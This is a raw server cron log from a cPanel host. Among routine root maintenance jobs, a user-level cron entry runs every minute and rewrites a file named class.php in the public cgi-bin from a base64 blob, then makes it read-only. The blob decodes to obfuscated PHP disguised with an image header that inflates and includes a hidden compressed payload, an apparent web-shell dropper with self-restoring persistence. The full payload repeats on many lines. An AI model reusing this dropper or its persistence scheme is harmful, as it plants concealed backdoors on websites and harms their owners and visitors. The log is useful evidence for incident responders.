Sep  3 23:53:01 server CROND[12684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:53:01 server CROND[12685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:53:01 server CROND[12686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:54:01 server CROND[13073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:54:01 server CROND[13074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:54:01 server CROND[13075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:55:01 server CROND[13453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:55:01 server CROND[13455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:55:01 server CROND[13458]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:55:01 server CROND[13459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:55:01 server CROND[13457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:55:01 server CROND[13460]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 23:55:01 server CROND[13456]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 23:56:01 server CROND[14528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:56:01 server CROND[14529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:56:01 server CROND[14530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:57:01 server CROND[14911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:57:01 server CROND[14910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:57:01 server CROND[14912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:57:01 server CROND[14913]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 23:58:01 server CROND[15280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:58:01 server CROND[15281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:58:01 server CROND[15283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:59:01 server CROND[15659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:59:01 server CROND[15660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:59:01 server CROND[15661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:00:01 server CROND[16173]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 00:00:01 server CROND[16176]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 00:00:01 server CROND[16177]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep  4 00:00:01 server CROND[16183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:00:02 server CROND[16187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:00:02 server CROND[16184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:00:02 server CROND[16186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:00:02 server CROND[16181]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 00:00:02 server CROND[16180]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 00:00:02 server CROND[16188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:00:02 server CROND[16182]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 00:01:01 server CROND[17185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:01:01 server CROND[17184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:01:01 server CROND[17187]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 00:01:01 server CROND[17186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:01:01 server run-parts(/etc/cron.hourly)[17187]: starting 0anacron
Sep  4 00:01:01 server anacron[17207]: Anacron started on 2026-09-04
Sep  4 00:01:01 server run-parts(/etc/cron.hourly)[17210]: finished 0anacron
Sep  4 00:01:01 server anacron[17207]: Normal exit (0 jobs run)
Sep  4 00:02:01 server CROND[17577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:02:01 server CROND[17578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:02:01 server CROND[17579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:03:01 server CROND[17959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:03:01 server CROND[17960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:03:01 server CROND[17961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:04:01 server CROND[18428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:04:01 server CROND[18429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 